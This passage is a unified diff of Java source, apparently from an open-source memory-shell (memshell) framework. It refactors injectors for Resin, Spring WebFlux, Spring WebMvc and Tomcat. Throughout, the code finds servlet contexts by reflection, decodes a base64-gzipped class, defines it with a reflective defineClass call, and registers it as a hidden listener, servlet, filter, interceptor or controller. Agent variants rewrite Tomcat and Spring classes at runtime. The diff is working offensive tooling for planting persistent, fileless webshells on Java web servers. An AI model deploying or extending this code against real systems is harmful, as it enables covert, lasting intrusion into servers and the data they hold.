Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
private void inject(Object context, Object listener) throws Exception { private void inject(Object context, Object listener) throws Exception {
List<Object> listeners = (List<Object>) getFieldValue(context, "_requestListeners"); List<Object> listeners = (List<Object>) getFieldValue(context, "_requestListeners");
for (Object o : listeners) { for (Object o : listeners) {
if (o.getClass().getName().contains(getClassName())) { if (o.getClass().getName().contains(getClassName())) {
System.out.println("listener already injected");
return; return;
} }
} }
invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true}); invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
// 清除缓存,否则某些 uri 无法连接 // 清除缓存,否则某些 uri 无法连接
invokeMethod(context, "clearCache", null, null); invokeMethod(context, "clearCache", null, null);
System.out.println("listener injected successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -136,7 +171,7 @@ public class ResinListenerInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -165,4 +200,19 @@ public class ResinListenerInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -14,17 +15,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ResinServletInjector { public class ResinServletInjector {
public ResinServletInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -38,6 +29,45 @@ public class ResinServletInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public ResinServletInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += "context: [" + getContextRoot(context) + "] ";
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -64,40 +94,37 @@ public class ResinServletInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
private void inject(Object context, Object servlet) throws Exception { private void inject(Object context, Object servlet) throws Exception {
if (isInjected(context)) { Map<String, Object> servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets");
System.out.println("servlet already injected"); for (String key : servlets.keySet()) {
if (key.contains(getClassName())) {
return; return;
} }
}
Class<?> servletMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.ServletMapping"); Class<?> servletMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.ServletMapping");
Object servletMapping = servletMappingClass.newInstance(); Object servletMapping = servletMappingClass.newInstance();
invokeMethod(servletMapping, "setServletName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(servletMapping, "setServletName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletMapping, "setServletClass", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(servletMapping, "setServletClass", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletMapping, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(servletMapping, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(context, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping}); invokeMethod(context, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping});
System.out.println("servlet injected success");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object context) throws Exception { public String toString() {
Map<String, Object> servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets"); return msg;
for (String key : servlets.keySet()) {
if (key.contains(getClassName())) {
return true;
}
}
return false;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -145,7 +172,7 @@ public class ResinServletInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -174,4 +201,19 @@ public class ResinServletInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -19,6 +19,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class SpringWebFluxHandlerFunctionInjector { public class SpringWebFluxHandlerFunctionInjector {
private String msg = "";
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
@@ -32,10 +34,11 @@ public class SpringWebFluxHandlerFunctionInjector {
} }
public SpringWebFluxHandlerFunctionInjector() { public SpringWebFluxHandlerFunctionInjector() {
Object webHandler = null;
try { try {
Object webHandler = getWebHandler(); webHandler = getWebHandler();
Object functionObj = getShell(); Object shell = getShell();
inject(webHandler, functionObj); inject(webHandler, shell);
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
} }
@@ -152,6 +155,6 @@ public class SpringWebFluxHandlerFunctionInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
} }
@@ -144,6 +144,6 @@ public class SpringWebFluxHandlerMethodInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
} }
@@ -32,7 +32,7 @@ public class SpringWebFluxWebFilterInjector {
public SpringWebFluxWebFilterInjector() { public SpringWebFluxWebFilterInjector() {
try { try {
FilteringWebHandler webHandler = getWebHandler(); FilteringWebHandler webHandler = getWebHandler();
Object filter = getShell(); Object filter = getShell(webHandler);
inject(webHandler, filter); inject(webHandler, filter);
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -52,19 +52,18 @@ public class SpringWebFluxWebFilterInjector {
return null; return null;
} }
private Object getShell() throws Exception { @SuppressWarnings("all")
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); private Object getShell(Object context) throws Exception {
Object interceptor = null; ClassLoader classLoader = context.getClass().getClassLoader();
try { try {
interceptor = classLoader.loadClass(getClassName()).newInstance(); return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance(); return clazz.newInstance();
} }
return interceptor;
} }
public void inject(FilteringWebHandler webHandler, Object filter) throws Exception { public void inject(FilteringWebHandler webHandler, Object filter) throws Exception {
@@ -117,6 +116,6 @@ public class SpringWebFluxWebFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
} }
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell.injector.springwebmvc;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
@@ -16,6 +16,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class SpringWebMvcControllerHandlerInjector { public class SpringWebMvcControllerHandlerInjector {
private String msg = "";
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
@@ -29,48 +31,38 @@ public class SpringWebMvcControllerHandlerInjector {
} }
public SpringWebMvcControllerHandlerInjector() { public SpringWebMvcControllerHandlerInjector() {
Object context = null;
try { try {
Object context = getContext(); context = getContext();
Object interceptor = getShell();
inject(context, interceptor);
} catch (Exception e) {
e.printStackTrace();
}
}
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
try {
return classLoader.loadClass("javax.servlet.ServletContext");
} catch (Throwable e) { } catch (Throwable e) {
return classLoader.loadClass("jakarta.servlet.ServletContext"); msg += "context error: " + getErrorMessage(e);
} }
try {
Object shell = getShell();
msg += "context: [" + context + "] ";
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
System.out.println(msg);
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { public Object getContext() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object context = null;
try { try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = invokeMethod(requestAttributes, "getRequest"); Object request = invokeMethod(requestAttributes, "getRequest");
Object session = invokeMethod(request, "getSession"); return invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"});
Object servletContext = invokeMethod(session, "getServletContext");
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace();
}
if (context == null) {
try {
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
Object applicationContext = applicationContexts.iterator().next(); Object applicationContext = applicationContexts.iterator().next();
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
context = applicationContext; return applicationContext;
}
} catch (Exception e) {
e.printStackTrace();
} }
} }
return context; return null;
} }
private Object getShell() throws Exception { private Object getShell() throws Exception {
@@ -99,11 +91,14 @@ public class SpringWebMvcControllerHandlerInjector {
Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass}); Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass});
Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap"); Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap");
if (handlerMap.get(getUrlPattern()) != null) { if (handlerMap.get(getUrlPattern()) != null) {
System.out.println("controller already injected");
return; return;
} }
handlerMap.put(getUrlPattern(), controller); handlerMap.put(getUrlPattern(), controller);
System.out.println("controller injected successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -183,7 +178,7 @@ public class SpringWebMvcControllerHandlerInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@@ -197,4 +192,19 @@ public class SpringWebMvcControllerHandlerInjector {
} }
return null; return null;
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -33,7 +33,6 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
} }
} }
} }
@@ -53,6 +52,7 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -69,12 +69,8 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell.injector.springwebmvc;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
@@ -16,6 +16,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class SpringWebMvcInterceptorInjector { public class SpringWebMvcInterceptorInjector {
private String msg = "";
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
} }
@@ -25,50 +27,41 @@ public class SpringWebMvcInterceptorInjector {
} }
public SpringWebMvcInterceptorInjector() { public SpringWebMvcInterceptorInjector() {
Object context = null;
try { try {
Object context = getContext(); context = getContext();
Object interceptor = getShell();
inject(context, interceptor);
} catch (Exception e) {
e.printStackTrace();
}
}
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
try {
return classLoader.loadClass("javax.servlet.ServletContext");
} catch (Throwable e) { } catch (Throwable e) {
return classLoader.loadClass("jakarta.servlet.ServletContext"); msg += "context error: " + getErrorMessage(e);
} }
try {
Object shell = getShell();
msg += "context: [" + context + "] ";
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
System.out.println(msg);
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { public Object getContext() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object context = null;
try { try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = invokeMethod(requestAttributes, "getRequest"); Object request = invokeMethod(requestAttributes, "getRequest");
Object session = invokeMethod(request, "getSession"); return invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"});
Object servletContext = invokeMethod(session, "getServletContext");
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace();
}
if (context == null) {
try {
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
Object applicationContext = applicationContexts.iterator().next(); Object applicationContext = applicationContexts.iterator().next();
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
context = applicationContext; return applicationContext;
}
} catch (Exception e) {
e.printStackTrace();
} }
} }
return context; return null;
} }
@SuppressWarnings("all")
private Object getShell() throws Exception { private Object getShell() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null; Object interceptor = null;
@@ -90,12 +83,15 @@ public class SpringWebMvcInterceptorInjector {
List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors"); List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors");
for (Object adaptedInterceptor : adaptedInterceptors) { for (Object adaptedInterceptor : adaptedInterceptors) {
if (adaptedInterceptor.getClass().getName().equals(getClassName())) { if (adaptedInterceptor.getClass().getName().equals(getClassName())) {
System.out.println("interceptor already injected");
return; return;
} }
} }
adaptedInterceptors.add(interceptor); adaptedInterceptors.add(interceptor);
System.out.println("interceptor injected successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -175,7 +171,7 @@ public class SpringWebMvcInterceptorInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@@ -189,4 +185,19 @@ public class SpringWebMvcInterceptorInjector {
} }
return null; return null;
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -33,7 +33,6 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
} }
} }
} }
@@ -53,6 +52,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -69,12 +69,8 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -33,7 +33,6 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
} }
} }
} }
@@ -53,6 +52,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -69,12 +69,8 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -13,15 +14,51 @@ import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* Date: 2022/11/01 * @author pen4uin, ReaJason
* Author: pen4uin
* Description: Tomcat Filter 注入器 Tested version jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*
* @author ReaJason
*/ */
public class TomcatFilterInjector { public class TomcatFilterInjector {
private String msg = "";
public TomcatFilterInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
@@ -34,18 +71,6 @@ public class TomcatFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public TomcatFilterInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object shell = getShell(context);
inject(context, shell);
}
} catch (Exception e) {
e.printStackTrace();
}
}
/** /**
* org.apache.catalina.core.StandardContext * org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar * /usr/local/tomcat/server/lib/catalina.jar
@@ -80,22 +105,23 @@ public class TomcatFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object shell) throws Exception { public void inject(Object context, Object shell) throws Exception {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter already injected");
return; return;
} }
Object filterDef; Object filterDef;
@@ -139,7 +165,11 @@ public class TomcatFilterInjector {
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef); Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
